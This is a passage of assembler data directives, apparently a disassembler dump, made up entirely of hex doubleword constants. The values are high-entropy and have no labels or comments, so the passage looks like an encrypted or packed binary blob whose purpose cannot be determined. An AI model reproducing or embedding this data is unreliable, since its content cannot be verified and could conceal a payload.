73F42C1Ah, 12244797h, 0FAC34489h, 5B05AD19h, 0EB6717BAh dd 5B0572D1h, 50BAD83Eh, 229535F6h, 0D6ADC040h, 0A814675Dh dd 89EC7D27h, 0A75AD73Fh, 0A90FE31Ch, 1324E134h, 8FC12580h dd 4265E76h, 0C301E324h, 0EA21E933h, 1292896Ch, 802DFE21h dd 0D632AE2Ah, 25BAD4FBh, 52B7BAF5h, 94E92AA8h, 0DDF62CCAh dd 0C3973CF6h, 4BA04026h, 5869A35Fh, 0C3225897h, 33350406h dd 513AA797h, 0E457A31Ch, 26C4C689h, 0FCEF02E6h, 0BEF02F6h dd 0D5460FC4h, 251186C0h, 0E4F8287Dh, 2F9EB63Ch, 1639F331h dd 6B80BF89h, 5E116885h, 5CFBD7Dh, 0E1FAA442h, 0BE735CE8h dd 2E56A74Fh, 0E63FF8ADh, 0ED8100D5h, 6572782Dh, 404E74E9h dd 453A6B4h, 0D13DDD0Ch, 0B7E1BEE8h, 24FC05FCh, 2D79E7B5h dd 0C57FC058h, 75E0BD81h, 0BF204833h, 0B814AC00h, 5DEE3183h dd 0FA408298h, 0D279955Ah, 0E4FA89C5h, 7AE1E77Ah, 97E89799h dd 5EF19D2Ch, 2D592988h, 6C1EFB58h, 9EA61AFCh, 0FEE2F405h dd 0F6852F0h, 170A7BA6h, 57D69986h, 0E6372816h, 5EC7B900h dd 125CDE2Bh, 0A5EE3CE9h, 3AD2DDECh, 0A6DEFB13h, 52FF25Fh dd 7CF741AAh, 7945D81Fh, 62944FB9h, 5B898188h, 0BB71ABCFh dd 8005BFA5h, 0E328C83Fh, 25625848h, 0EA91D205h, 32754968h dd 6145E90Dh, 42522131h, 0A25D8980h, 553E760Fh, 698D2153h dd 0F8020A29h, 35E747CEh, 5EB90118h, 82277462h, 121075EEh dd 56A764Ch, 0AB304604h, 81A69D4h, 5A14041Ch, 3F1B81E9h dd 0AEB17128h, 3AE9252Bh, 9FA94E15h, 0B8CD5ED8h, 3D0A0023h dd 127AB928h, 29244EE7h, 92082FC1h, 91301678h, 5DF35AEh dd 0D125B320h, 41CB3E6Eh, 1EF7E3D0h, 894E2D7Bh, 0B52F4A61h dd 90F62389h, 50CD5E27h, 581C981h, 7A4EB82Ah, 0F1A99E25h dd 93C39E4Bh, 4C4CF89Ah, 275EA6AEh, 9071E291h, 0E416B02Ch dd 1D0A30AEh, 78273B6Fh, 0A2321631h, 0DE9D520h, 0D7AD3401h dd 0B9399E4Eh, 97E3D7FAh, 0C111FCFDh, 311C2BBFh, 1C7FD30h dd 14446753h, 2B70D668h, 5F27BD30h, 2755E16h, 56E943A4h dd 0FE27A45Ch, 0DB2A0CE1h, 0ABDED9BBh, 1439758Ch, 0BF7C9588h dd 0F692F926h, 0EB4A6EF8h, 8D401C2Bh, 16A7B866h, 1DC8885Ah dd 0F22267Ah, 37B4F830h, 3DDCA010h, 0F505AD01h, 7C211F09h dd 0C2598568h, 72535C7Dh, 5A53545Dh, 0DC29D1Bh, 934AF1DDh dd 5694AB53h, 4D38E8C0h, 814B2C82h, 9D451CC0h, 633AC4Fh dd 0C1EE073h, 947B1409h, 8B17B6Fh, 0D03C7113h, 2C74F0E4h dd 0CB416AE5h, 7FB2685Ah, 5155626Eh, 52F65C77h, 2995E820h dd 72BD3B98h, 0E9E50ECAh, 17DD2E58h, 0B0A7569Eh, 211D1FC5h dd 4493CEFCh, 5AE98DCCh, 0ABF28462h, 0B678FC81h, 543D4F76h dd 0B753FDD0h, 0E9F00459h, 4B7C6420h, 0A68105C1h, 59CFDA42h dd 946C5051h, 36DD250Bh, 7949132Ah, 0B2F5BFE1h, 0FF580802h dd 6F213C19h, 0B56B67D9h, 6CA86E3Eh, 851F61E9h, 5F295B03h dd 7A9AB3BEh, 6B60D19Fh, 7B9FD84Ch, 620B3C65h, 315C656Fh dd 900FA0BBh, 7B572410h, 6E481FF7h, 44F409BAh, 0BD2D5255h dd 0E926D552h, 358B4BA3h, 619D004Bh, 3336DD0Dh, 0A4544C43h dd 63A09BA3h, 799FEF5h, 728A92E2h, 78B20B51h, 77055E05h dd 858EB93Ah, 6E7479E1h, 0EFFF16DCh, 63BB3681h, 704D4821h dd 5D022E91h, 0CE812A35h, 3D704188h, 267CC22Ah, 3D61DEE2h dd 14A32AF1h, 18D85510h, 0E598CB29h, 674B2421h, 7FE4012Ch dd 0E4595BCDh, 0C55117E9h, 260D065Fh, 0DAE91980h, 2F5DDBA9h dd 60033EACh, 0A7BF1275h, 2310B25h, 0D4442111h, 0DE68E798h dd 0F232FBD6h, 0E1B0DDA6h, 83C0B738h, 932CB6C5h, 0EDD12E45h dd 9F042D02h, 4A94EE59h, 69304EEh, 8A23D015h, 164A4C1Fh dd 1D026FE0h, 82C1310Eh, 0A07AE903h, 0A720C7C5h, 75150839h dd 2125F2CEh, 0F3013A1Dh, 8208F6A0h, 0A40CC2E1h, 91AAC2A0h dd 21CA0150h, 5B03E71Bh, 4C62A5CFh, 0E6F7B07Fh, 0B3F3745h dd 0F1B3510Ch, 5D912B74h, 8104683Dh, 0EB638672h, 92A5A410h dd 0F67B044Bh, 84B3FDDCh, 80033BF4h, 0DBC10CCBh, 4B7BBF09h dd 0F05614AAh, 625FFF4Ah, 33EE5A27h, 9C0E535Dh, 0C5353207h dd 0A91136h, 0EE3934F3h, 0A08A9009h, 48137025h, 0F3043164h dd 817531F2h, 20FFA0Eh, 0CF684159h, 0A1D85202h, 49BD5A4Eh dd 0B0689080h, 639F2177h, 48149843h, 0AF7458A0h, 7F84715Ch dd 0A06AFCFAh, 306443EAh, 610C233Eh, 1C5BB129h, 60086750h dd 602C0A4Ah, 0DFF7255Fh, 0FD0B5F76h, 33985DEEh, 5695237Ch dd 54B06CD1h, 86692890h, 3D3FF01Ah, 40255652h, 0FBBBB900h dd 384B3634h, 0A6A97F1h, 9DB86442h, 4AD8B50h, 0FF556199h dd 0FEB1D5ACh, 0E9C2C2F3h, 0E5D464B4h, 2239BA81h, 0EF2A6530h dd 87EE9F13h, 46CD5027h, 0D8FA27C5h, 0E9072D50h, 0E84DC32Fh dd 0BDE10F89h, 182CD0CCh, 939E7A9Dh, 1DAEEA16h, 0FE7839B4h dd 35694F14h, 3D6AE153h, 0C2E14072h, 0B3D640EFh, 6850AC62h dd 0CA3A6FBFh, 81292850h, 9539B220h, 2B29D5AFh, 0B90565F8h dd 428D3D63h, 4E16E1C0h, 681B09D5h, 3E565C32h, 68148DA5h dd 0FB3C3AB9h, 0C590714Ah, 5F362E64h, 0EBA780AFh, 1C42126Ah dd 6FDB53Ah, 61010C08h, 0E917A807h, 566E9715h, 0EF4BE01Eh dd 0C0BE4028h, 0BC91E571h, 0A5B2D62Fh, 3E880DD4h, 0F4702788h dd 131922C1h, 0FD3B7883h, 680361BAh, 0CC6A5425h, 7602DE9Fh dd 0F3E97B8Bh, 0D3C65D21h, 8837C90Dh, 4420D136h, 0D95281EEh dd 16E755F7h, 0BEC0FEC2h dd 0BDE8315Bh, 53128DF3h, 1C723904h, 4109BDD2h, 0C6284C5Ah dd 0BEF28916h, 2058EB26h, 595C736Eh, 0A4FCDE17h, 0B6C28DF5h dd 0E5BA00C4h, 4D4CF819h, 3B033523h, 708DACD9h, 0F00E0861h dd 0E5010DE4h, 84CDB971h, 102C81F1h, 46253461h, 0E997C0C8h dd 0A920DC4Ah, 0E3DEC93Dh, 2A677638h, 1BC640D7h, 97026853h dd 0E962F722h, 2C317691h, 20900AD1h, 2A76C0B3h, 0E9166660h dd 0B0BC0E2Fh, 0FE24398Fh, 6001124Ah, 43DD5112h, 0B7549DEDh dd 3BA109C7h, 0E02BCDD1h, 332D9122h, 1F9BF6A1h, 1E8BE931h dd 9B28A576h, 0CBF48F8h, 5E98E518h, 2A13B3B9h, 0F8BBA3F1h dd 0B853B992h, 7721C404h, 7DC45B0Fh, 1B24EB50h, 0B7E3A9C3h dd 403588B2h, 7F03735Eh, 36294C8Bh, 0CA122648h, 2133AACFh dd 556CA2C9h, 0C33B1FC0h, 43A8932Fh, 7D36B24Bh, 1AFA5E96h dd 6B910F5Eh, 5008E596h, 7813C52Eh, 33E06713h, 12D4B847h dd 6B411FCh, 0B1D56103h, 2597D70Eh, 0A7D34F47h, 14A45393h dd 0E0B75EA8h, 560D1E35h, 0B82D4302h, 0C2E1AE5Ch, 40B579C0h dd 10A0E957h, 8F2D89B9h, 0B1D80A51h, 0C24C5F25h, 92FF459Dh dd 84D1AB66h, 3887D7F4h, 47F780h, 0C8285BF8h, 362A2C90h dd 702F8705h, 0F112A0ABh, 406FF609h, 0E2068189h, 6CB5034h dd 7225FE0Ch, 0FA7A9522h, 10BE9E0Bh, 0B40ADD8Ah, 9A4609B0h dd 9C6F9C5Fh, 3AE9E14Fh, 0C4F328E0h, 550BF347h, 1E894F5Eh dd 0FF02E3B8h, 570EFA7Eh, 902D5C96h, 0D6EF2817h, 5360A638h dd 95299F02h, 0CB037F4Fh, 160ADD01h, 9FEF23ECh, 799DC900h dd 904172D9h, 52610ABCh, 30CE356Ah, 5D07C520h, 1080A358h dd 0E94B27B4h, 78E44874h, 0D7302BFh, 9F06877Bh, 40FD25E8h dd 0B051566Fh, 1FF191BEh, 0E416FCEBh, 0D654B888h, 4B1619B6h dd 0F68DBFB1h, 1D9667DDh, 0A0E5231h, 10A35A6Ch, 0D4F60CF5h dd 4EE67C53h, 4698BBFEh, 8E224B5Fh, 41BF0083h, 83634D34h dd 0B2014EC7h, 0DDB21017h, 0FDC4800Eh, 6207EC67h, 7C5F92F4h dd 2BE4091Fh, 0CE7C30DDh, 136880AAh, 67FC7E4Ah, 0E83390C4h dd 9A82E54Dh, 0D1D1F5CEh, 0A9A7AB4Fh, 0B510F852h, 925F184Ah dd 0D156C18Fh, 0BC758405h, 7C4E04A2h, 0E98002A3h, 5A5C83B3h dd 6823E0FDh, 0A4768E2Ah, 492FCA25h, 20D6B250h, 7DD049F6h dd 6855D402h, 827F2D06h, 0BF12FFh, 50D9EB80h, 4832FDFDh dd 5F99470h, 714AE01h, 867119AAh, 211BFF78h, 16C474E8h dd 238B5E1Fh, 5EF19605h, 9C14FBC5h, 37410556h, 0B3D11F1Ah dd 8801944Eh, 95052FD0h, 0AA98DC16h, 734D2DD5h, 7A6A6A02h dd 9910DF0Bh, 8283B706h, 9B837FE3h, 8092B652h, 0EB0C3156h dd 320682h, 0B050F328h, 24642C5Dh, 9A049E02h, 0A296F5E9h dd 0FE51EFF0h, 0B15D6494h, 29EA3A90h, 6CE86F64h, 6FB6B8B0h dd 35377700h, 63423CF2h, 33EE0B25h, 0A3F66B11h, 350CC12Dh dd 9D022FCh, 585B5078h, 0C80EA30Bh, 6BA02E78h, 14040BB6h dd 42B8FBFFh, 2190550h, 0E91EC82Ch, 1C7C30C0h, 4278DD52h dd 452E39Fh, 3A6F5B32h, 67E5F85Fh, 97721112h, 0E682127h dd 0C0316A78h, 0AA52F16Eh, 0A0FE65FAh, 0E98D0BA2h, 4FF6023Dh dd 5E6EDE69h, 5AEA6C20h, 0ED94455h, 4E050076h, 4F38AD61h dd 0AF30AB31h, 0D370A1E9h, 97F4BE24h, 8D00B577h, 7D13E6BBh dd 0D31CF7EEh, 666D1568h, 2620FE2Fh, 82D024Ah, 702F9960h dd 148B8EDh, 0B91089F1h, 0F4CB013Dh, 7D9ADE85h, 64FCF982h dd 64486560h, 9DF3F87Bh, 114C6576h, 1AAE0FCBh, 0DE32C0h dd 22885399h, 509E3C1h, 0FE498D68h, 18C36F61h, 80031035h dd 7BBA5AA7h, 43E1B849h, 74340461h, 98527E68h, 704F4448h dd 4D6172B3h, 4D429468h, 305060E0h, 7D40E64Ah, 7D287270h dd 0A2CE5A31h, 0A09B100Fh, 69C36809h, 4F80F6F1h, 0F7311A36h dd 54EEFED6h, 9BA4228h, 66AB7BC2h, 1017427Ah, 6F4FEE2h dd 314526C7h, 3E3F0303h, 82746D49h, 2DC15812h, 0D2E1AD80h dd 6C82274Ah, 0EDFC04FAh, 74700D14h, 0A30F0487h, 0A4EC4AD7h dd 4C0CAA4Fh, 5A89B1F2h, 0D612F0E3h, 669B091Fh, 66178A89h dd 0B5ECF2FBh, 0D3BE0380h, 36129841h, 0E905F231h, 2CABFEFAh dd 216EFFEh, 28EF3C87h, 0D365BBECh, 0A1EF5B34h, 4B8A4B40h dd 0EE816BE5h, 7D92456Ah, 0CCD06B29h, 2568585Eh, 0F45971D8h dd 0ECD95FE9h, 0EF1180C9h, 2C672B7Bh, 4F38B8E9h, 0BEE1BB52h dd 0C13569EDh, 0DDA8A00h, 0EE46B78Eh, 27615D1Ch, 6872C027h dd 0EEF609D4h, 0F22702E9h, 85323766h, 2C730448h, 3C1FBAA4h dd 0AF6809BAh, 780FB02Bh, 0DF82F6h, 0F5814D8Eh, 1027133Bh dd 0C0F6004Fh, 8949FB1Bh, 43E97EC3h, 29401A09h, 8261E9D6h dd 0FC6217AAh, 85795D4Fh, 0A84C4D40h, 0EC934859h, 40DA6B50h dd 0BE0456CEh, 17047DF3h, 236603EFh, 0EEB01C45h, 0E2093F57h dd 707DE96Ch, 0A0B90523h, 0AF417466h, 0FC514CC1h, 0B71FB83Bh dd 0EE1E80E2h, 7C733853h, 7AFC9F70h, 6B50E950h, 1CF5306Bh dd 0C8210964h, 4F2B84E9h, 518B966Fh, 0B94802B1h, 2792F728h dd 4E9FA558h, 10D59DDAh, 0A1D26B74h, 86D94DDDh, 39D8E36Ah dd 4F3B2C68h, 0A0B2AB69h, 0E95451D2h, 25725F01h, 0B561FF97h dd 0E76E1825h, 4B4CD3h, 33873219h, 0B0AFC281h, 737776A3h dd 0D8EB26F2h, 0B9D1124Ch, 1FE67CBCh, 34A06F02h, 526688E9h dd 3F7B272Bh, 0F5E16FA2h, 0F6135B05h, 0B5F2FD8h, 567CA360h dd 685E3F41h, 1B5048F3h, 0D8B45155h, 9D222A6Ch, 5B15663h dd 53072031h, 7BF925E0h, 124FBBE4h, 0B0C27374h, 24E9E9DFh dd 5C953329h, 0C1854FFCh, 4F62E8D1h, 5EB92560h, 7DE266Fh dd 0BD06175Eh, 4B600630h, 411747Ch, 1F8C1CE9h, 0D712EA83h dd 93850CA2h, 54D43238h, 6E89E054h, 641EC4ACh, 80014259h dd 7918C3EDh, 8409345Bh, 568E8931h, 40070D84h, 7E55D863h dd 258ACB4Ch, 0F5C8E2B3h, 173FD5C5h, 8BBF1B3Fh, 5F5825CAh dd 0E902C2C7h, 68FEF4A9h, 9727134h, 0E7D17E26h, 12104C84h dd 0F02D609h, 1275C611h, 4CBD348h, 0E46677BEh, 35961DB0h dd 9267DC2Fh, 0EB8912C7h, 0CA55BF1h, 766FE2D7h, 728505DFh dd 0D252A0E0h, 47935518h, 2D15520Ch, 45CA690Eh, 0E9550801h dd 5B093AE4h, 0A1BA7558h, 6D601DE0h, 2511469Dh, 9952BA0Eh dd 4C1DF105h, 0BEA6EAFh, 0EA004352h, 3E90650Ah, 3C4AE8EDh dd 60632B2Dh, 5B3F3D61h, 81F1273h, 51176054h, 0B20DD30Bh dd 0F7E6D793h, 0C93E5C61h, 0D2CAA945h, 0E9088074h, 527D5A8Dh dd 6C49EA19h, 18E55D5Bh, 2B7B9F0Ch, 720B0FC5h, 3C6963A3h dd 58BD9B58h, 7A33450Dh, 89349A8h, 59042F04h, 0FCC0D828h dd 78C680F3h, 4CF0591Eh, 3A7B2D93h, 1EC47E39h, 539016Eh dd 0F2E61F91h, 0B6622035h, 0D012D1B8h, 0D1BFBAE9h, 818BD53Dh dd 0FDE4F5BBh, 146AF7FBh, 0C009ECBDh, 7D7C4519h, 0FF64C104h dd 211603E6h, 0E68FBCF9h, 0A8685ADAh, 8AFA4BCAh, 8CE90B5Eh dd 2FA96C13h, 0A5DA1B77h, 7F28E527h, 51006B94h, 0ED8018B5h dd 0E0EC2C53h, 32E927E8h, 0C5979ED0h, 39ECA7E9h, 12FDC720h dd 1687CB29h, 7436A918h, 0DE47E213h, 1FB706B0h, 3F76C322h dd 2917FFDFh, 0CA2DE5F8h, 45FDDB0Bh, 82780C9Fh, 0F6BF5C1Ch dd 4F8BC9C4h, 0ADBC17D7h, 68415EFEh, 926A4543h, 4E6678C6h dd 0F3055836h, 0BD04C12h, 8D5C0125h, 5F0B0EC2h, 9A57E47h dd 0E9640183h, 9C3FB9EFh dd 1DFA68DDh, 0B912CEB3h, 654223B8h, 0F3AB697Bh, 0F4273102h dd 0FB0BCEFAh, 706A1331h, 5D2FFCF0h, 0AA671E56h, 3F58D2A8h dd 0D3958A64h, 83BA2092h, 296F4E11h, 2EED7EFEh, 0F244FAA5h dd 8BAA0F31h, 66CC4E60h, 15F99DFBh, 9608C148h, 9A9282Bh dd 645E6D10h, 0A957E904h, 0D7D1D2B3h, 9045CE67h, 83AC2BF8h dd 0FF252594h, 9F8A6EC5h, 0E95325F5h, 1A9CF7D0h, 80C9C25Ch dd 0C07D53C1h, 806FEF66h, 22181CBEh, 0F57818C6h, 61B32431h dd 0D04E1606h, 667BC2D9h, 8220797Bh, 0FC894A35h, 0C0BBB429h dd 44921691h, 41120159h, 860F2D08h, 9F98D0A0h, 0FB201478h dd 2190A5h, 60FD61CEh, 29E32B9h, 5B4C9F5Ch, 3A192DEBh dd 4321E5h, 6114D1C9h, 56BA56Eh, 0B7E4AC08h, 0D141BDF0h dd 0A93AC02Fh, 15C1A5Eh, 81A04F9h, 0E5140AFAh, 2DAFA088h dd 0D89B2F40h, 8FF74082h, 3023B62h, 4241CD03h, 180427D0h dd 3CA21A4Bh, 418AF4C2h, 2A311464h, 77723368h, 0C57E4BC4h dd 25D3EB2Dh, 1310D6BDh, 0AE02EE83h, 0ABD2F2A3h, 6B3CC438h dd 5AFE3ECDh, 0EE0E5FAFh, 0F15A939Fh, 68C360A1h, 892D3C0Fh dd 58B78978h, 0B9FB9F78h, 0EE96EA5h, 0C324673h, 614FE2C0h dd 0EBB04C5Eh, 9A365101h, 1FE8E967h, 0B940409Dh, 1F71852Fh dd 67EAB58Ch, 32084A1Bh, 80E1D873h, 86C56C6Eh, 7EC8156h dd 42F076F3h, 0A738278Fh, 250A3A72h, 0FF419677h, 0AE4EDF28h dd 98410DCAh, 90D9A36Ah, 975734E8h, 6E8BCEAh, 3A1F2ABAh dd 2F42770Ch, 0B255B3DEh, 726E75C2h, 6185F4BFh, 2CCC75E9h dd 0A4F24ED3h, 0FEDAD7E0h, 2D600394h, 4E484B8Eh, 0BF28440h dd 4A925F07h, 0C5184077h, 6649256Dh, 2B898176h, 27EAF9F0h dd 9561BEF7h, 9551E25Eh, 0E37F2C31h, 0E1680B2Eh, 45EBDB3Ch dd 0A6A2AA2Ch, 2E254E1h, 0F9B9A29h, 9873EE43h, 2F315B1Eh dd 944058C2h, 0BD00916Fh, 0F8562A2Dh, 50D02953h, 965A0705h dd 0D5006B7Ch, 2B4928B0h, 390BD3B8h, 857CB102h, 0A8668DBh dd 16504BE5h, 0D612FEC1h, 2CB25287h, 817DD6EBh, 497F6194h dd 58D02F31h, 20346E80h, 6F3E514Fh, 9DF54Eh, 0E9D5F76Eh dd 40A7E11Bh, 7A97E8F8h, 4597621h, 6C364125h, 1B77C052h dd 3400CD13h, 0C25A2CBAh, 80F23129h, 1116A6EAh, 34EC40D0h dd 0AE701913h, 1A90D34h, 0F45FF494h, 0DE41F58Eh, 1209E820h dd 0C30BB0DAh, 52FB87A0h, 73B3A07h, 0A7822D97h, 3CD3C9F0h dd 5DCDCB3Eh, 90E98284h, 7444AA0Dh, 7EB0C942h, 38064FD8h dd 0B94F440Ah, 297A24ADh, 2A61A9C4h, 3A79B4C8h, 0B7E84A6h dd 0A0F4F7FEh, 95AF756Bh, 0F8585BABh, 0CA63CBEAh, 0E2574FB2h dd 5A5AE93Bh, 992FD643h, 166B2C10h, 50B7EC84h, 0A64E6BEEh dd 5FB71C26h, 3EF6D3D2h, 0F375FEDDh, 0CFBEBD95h, 2D064CC9h dd 5DB47D5Ah, 545540A2h, 0F6E90599h, 11DCEBDEh, 0EC595BCBh dd 0E0D3B10Bh, 1611AD2Eh, 48E045E9h, 0B0B91EB7h, 0B98453F8h dd 6F80513Fh, 975AACE4h, 0A24DE972h, 5FE14F23h, 9BB259BDh dd 78D5BF7Dh, 0FBE59F4Bh, 82D7D225h, 0E52B5D08h, 478F7A30h dd 774D50C4h, 1684F2AEh, 6AF2C868h, 0AA545785h, 0BF10949Ah dd 4AB64CC3h, 0EA0684EAh, 0F1E63206h, 2FFD77C5h, 21793FCFh dd 8BB8B393h, 6ADEAE4Eh, 6698EA4Ah, 0FD1D5E4Bh, 0B294D6E5h dd 1E493F8h, 5A2A3EFBh, 30EE217Eh, 5325D8F1h, 346D48Ch dd 2D6F13ABh, 175B0C00h, 64E97B0Fh, 0D26C9F9Fh, 548135FAh dd 3F47AA3Ah, 1ED4D329h, 97E02EF4h, 0E9615AF3h, 0B27ACBF9h dd 7D257878h, 642D7477h, 26CFB824h, 521851BDh, 139AEDA2h dd 0AB569E29h, 0F7080258h, 0C08778DBh, 2FC4C522h, 0DCC11025h dd 32C171CBh, 47291880h, 74E9DB3Ch, 993A3FB6h, 5864C90Ch dd 0F233AB2Bh, 0B19D0AD3h, 0E2F35265h, 0E4DF1ADDh, 0C01233AEh dd 0F5CFC1B7h, 7E15E114h, 12F2E0B0h, 6F55958h, 725AD6C0h dd 150FCC40h, 0A3FC0B84h, 108EF65Ah, 5A05B7AFh, 0BB581801h dd 7A79374h, 0D926C74Ch, 56280820h, 3556F02Fh, 0AA0E84FCh dd 0CF93C6E0h, 63A53306h, 2E4FFB5h, 92D4F24Ch, 0F38124C3h dd 0C3D385Bh, 9C6292A5h, 0FCCF94FFh, 90B45E82h, 56C3C7BAh dd 0C281630h, 0F19741EFh, 1A5E946Eh, 140C0C08h, 0CC25E9D5h dd 9ED37925h, 54182FE5h, 0BE67E23h, 0BD8CD7F0h, 88401B05h dd 8EEEDDBCh, 88C18097h, 3A6866C3h, 0EA4B4CEBh, 62E9D371h dd 0AA4E2768h, 7CBA1934h, 0F6273AC5h, 53E655FEh, 14C7EB31h dd 0A660B551h, 37C0E8C5h, 580C05E5h, 0F501021Fh, 59EE2894h dd 0C6F9E6CDh, 0F8E1E9E1h, 0C03B0C35h, 5F68F549h, 0EA8D7A4Ah dd 2DF5E92Fh, 283460A6h, 4A9DEED9h, 0F915B58Dh, 4E2E7CB8h dd 0F996B3E8h, 95E26ABh, 41CAC0CBh, 0DA1A5C2Dh, 0F5227205h dd 0CB810B0Dh, 14279776h, 0D5294C3Ch, 3BAED010h, 70103556h dd 0C196DAF9h, 85D7F726h, 2720E90Bh, 0D39CF4E8h, 0A9410EE6h dd 8050BC65h, 170C1397h, 8D091626h, 0F7576E1Ah, 30C248DAh dd 403549F1h, 136FF5E3h, 0FCF83194h, 0EDAC131Ch, 0D4832599h dd 34C3145h, 0E5CA13AAh, 94674802h, 27277E0Bh, 0EFF945Dh dd 31B36857h, 0F9563A89h, 0DAF68000h, 5FD7E9C0h, 0D1F9971Eh dd 6FC9F3D5h, 40455AB1h, 0D3053EECh, 0AA1A0746h, 136F22C8h dd 0FE503160h, 0D1029ED7h, 6BA2FC5Ah, 2734EB55h, 3A85F684h dd 2195B0B6h, 5CCBD2BEh, 80AB96DFh, 0B9A6819h, 866D19B5h dd 20D70BCEh, 0CC52F226h, 30317EF0h, 0C2C76279h, 0AB3D0585h dd 0E050AD34h, 5A875F3Bh, 6198F71Ch, 0FBFFBB99h, 6F5F939Eh dd 140851F3h, 0BB5C1219h, 4F7F23B7h, 8BE7828Ch, 0DC2F6B51h dd 0E913546Eh, 0A797573Fh, 3BFB63D0h, 9C8302BDh, 0F501C404h dd 1ED65809h, 0ACA32694h, 0DB040F8h, 5B9513F1h, 980CA04Dh dd 0FF1A82D4h, 710BEF51h, 3711F77Dh, 0C5D2E721h, 2E5E3569h dd 5DE8A9F1h, 0C251B578h, 5F7EC152h, 5B6C322Fh, 3D6FAD27h dd 93680CF0h, 30351203h, 6501BE5Ah, 1669E2D1h, 0B84B163Ah dd 98440B79h, 0CB610EE9h, 1F67C9F3h, 0FE5905CEh, 0A135342Ah dd 0D29D2Dh, 8736EAAEh, 84BF3758h, 0BF00F0C9h, 0ACB0733h dd 3F78102h, 7D467312h, 99DD15E2h, 16E9539Ah, 12CC182Bh dd 5D7F44A8h, 57D00927h, 0F60DE6Ah, 0D3D78AFh, 4A529B2Dh dd 6C26BAFFh, 0ED014B7Ah, 0CEC8845Ch, 0F309F70Bh, 0C58C205Dh dd 82226815h, 211736F6h, 0BFC284B4h, 8C2C155Ch, 57C25545h dd 0A5F675B0h, 1A937E6Fh, 0FB057EC0h, 7E5B091Bh, 2A99535Eh dd 6EA96E2Dh, 2C01ED1Bh, 0B93088D0h, 0FD6E42BFh, 53E90F8h dd 1DD28611h, 44C829h, 4C092E6Dh, 15CEB81h, 0D8FC3778h dd 5203490h, 8681736h, 0A015F974h, 3B06BA52h, 0B84AF966h dd 1F1912E7h, 68725797h, 5772773Ah, 2463C948h, 763F551Bh dd 7CC4F1F2h, 0C2AE4303h, 42E21504h, 0C84EA9F6h, 0C2273D7Eh dd 8F99FCF6h, 0B03BD406h, 0E439C07Dh, 8EC9605h, 553C83FBh dd 82B6859Fh, 65553BE2h, 65DA12A1h, 0E59808F6h, 5BE7EA9Fh dd 85291651h, 0A110B2FAh, 26CBF4E9h, 0D1E3248h, 62093001h dd 6F652829h, 0F7B1F080h, 59CB0813h, 0E90B5ACAh, 1A57384Ah dd 0DA625DADh, 2EED4C60h, 7B21BA24h, 206E914h, 0A02FCEC6h dd 2D41D53Ah, 5F0841EEh, 0FD674151h, 0E78100DEh, 0D23C1D74h dd 0A6CF806Bh, 530F4875h, 24F6CCA3h, 0EC925D95h, 860BB37Ch dd 0E247751Fh, 8B60EB1Ah dd 52921918h, 0DDD4E360h, 5F6CA534h, 80441B0Bh, 399D5C46h dd 264C1EBCh, 0FAE99305h, 93CDBEA4h, 0CC368D04h, 0A6980Ch dd 32ED5FF7h, 943B292Dh, 7C6D2048h, 5E0CE738h, 0F0F565BEh dd 0A1403808h, 23BB0935h, 0A3706087h, 65AD40E7h, 4758A307h dd 355F00E3h, 27853F46h, 0CAC56909h, 16FF79E2h, 71C89565h dd 0E9804936h, 38D9D93h, 0FAFD2F3Ch, 737ED6C1h, 4FF8DB71h dd 3C4EF805h, 0E90BA9A2h, 2E104216h, 4BE66B30h, 8AE6813Eh dd 0F041F57Ah, 527B4303h, 0C9CEE10Bh, 901E48D4h, 64E109F9h dd 92FC7FAAh, 200EE981h, 183A8A2Eh, 4FF63C75h, 0D7EB532Fh dd 0CB0A1501h, 68B94CFEh, 5B426325h, 16AE2C94h, 0AD25A032h dd 52EB6AD3h, 0EE031261h, 0ABE6A45Ch, 14B74D0Bh, 8D60BD41h dd 0D2003B73h, 2ECD2511h, 4AE97DBEh, 91D5C449h, 0CF8584h dd 0B51A6468h, 650760E6h, 5F2B3105h, 0F10D92E2h, 296E8652h dd 0DF0C0699h, 81D6CAE9h, 8B7D95EEh, 1765DFD7h, 29BFF113h dd 5107A459h, 9B2D0A16h, 7B55DDCCh, 58E39E8Bh, 544F575Dh dd 4020F229h, 84A4BDB6h, 0C638C871h, 0BAF3D009h, 1921D619h dd 576633EBh, 0D1F742C5h, 0D55E07A7h, 0D78ABE56h, 47D2680Eh dd 3EB6AF13h, 34B95184h, 0CF4DA2FFh, 34BFB339h, 0EC1982E8h dd 1842720Bh, 2F261E68h, 7197A177h, 0B47DAD30h, 92B0BD4Ah dd 47537668h, 0CF3178E0h, 48DE577Bh, 53635F02h, 0E883BE3h dd 0A3A0D7F7h, 142E3D9Eh, 7B16C037h, 442DE5E3h, 0CEBE6240h dd 61656B05h, 8C82F509h, 6123DCD7h, 7B854B91h, 99989D13h dd 1EB607E1h, 84687236h, 1330982Eh, 4C574704h, 7BE6D901h dd 6850520Eh, 37E67E2h, 22AA0AE3h, 2F04F955h, 75429A54h dd 64510723h, 3AD0B122h, 844BA8E2h, 37238214h, 89C9E69Ah dd 6874D2E9h, 13B85912h, 60A7ED5Ah, 681CD30Ch, 0A2017C16h dd 34EC7FD1h, 0E97D0F82h, 28019C0Dh, 55B720ECh, 9BE68980h dd 0C118996h, 25C94C5Dh, 0DBE5B5D2h, 43C0CC16h, 4FC7805Ah dd 7293BA96h, 950C247Eh, 0C83F162Dh, 361F6020h, 0EC1A121Fh dd 0A0E27DD7h, 524DDC5Dh, 66182DF1h, 697DE90Bh, 900036C0h dd 17C94587h, 6501F690h, 21086E2Eh, 0CBE45EF3h, 0D6391826h dd 56170C53h, 1F33013Eh, 0ED4B02E3h, 0FE7F846Eh, 5D6647C2h dd 0C575C5E2h, 0E90512DBh, 0E9571DEFh, 0ABCA5F5Bh, 0C3874E3Ah dd 0F093315h, 30741168h, 0D0B5B1Eh, 0DBF75043h, 4AFE0204h dd 0BEB673FDh, 80BE802Ch, 223E581h, 12B00E8Dh, 0FA25EA98h dd 0A0E8F0F1h, 5C6E18E5h, 1E7BDF38h, 0ECD25F27h, 0BD3435DFh dd 7F2B40FCh, 0D238A7D8h, 65C9250Bh, 0AC97635Eh, 6ABFC180h dd 39D52424h, 3EB40328h, 30B7F6EDh, 2D064140h, 42FD0130h dd 0B7A65A9Dh, 630B0650h, 8A1A7362h, 0D21204F0h, 0A6B67290h dd 31E417AFh, 53A312D6h, 0A5C4ABEAh, 5E9DF3EAh, 4CB29B76h dd 29C41B15h, 6AFDAFC1h, 2E07BF81h, 0D27201Ch, 36080300h dd 4BDA8742h, 16184EE9h, 5C18CC68h, 0BB9C3EF8h, 7CE75727h dd 7A726884h, 1E1D32EEh, 7C55FCCAh, 0BFC96F56h, 0AF35DF10h dd 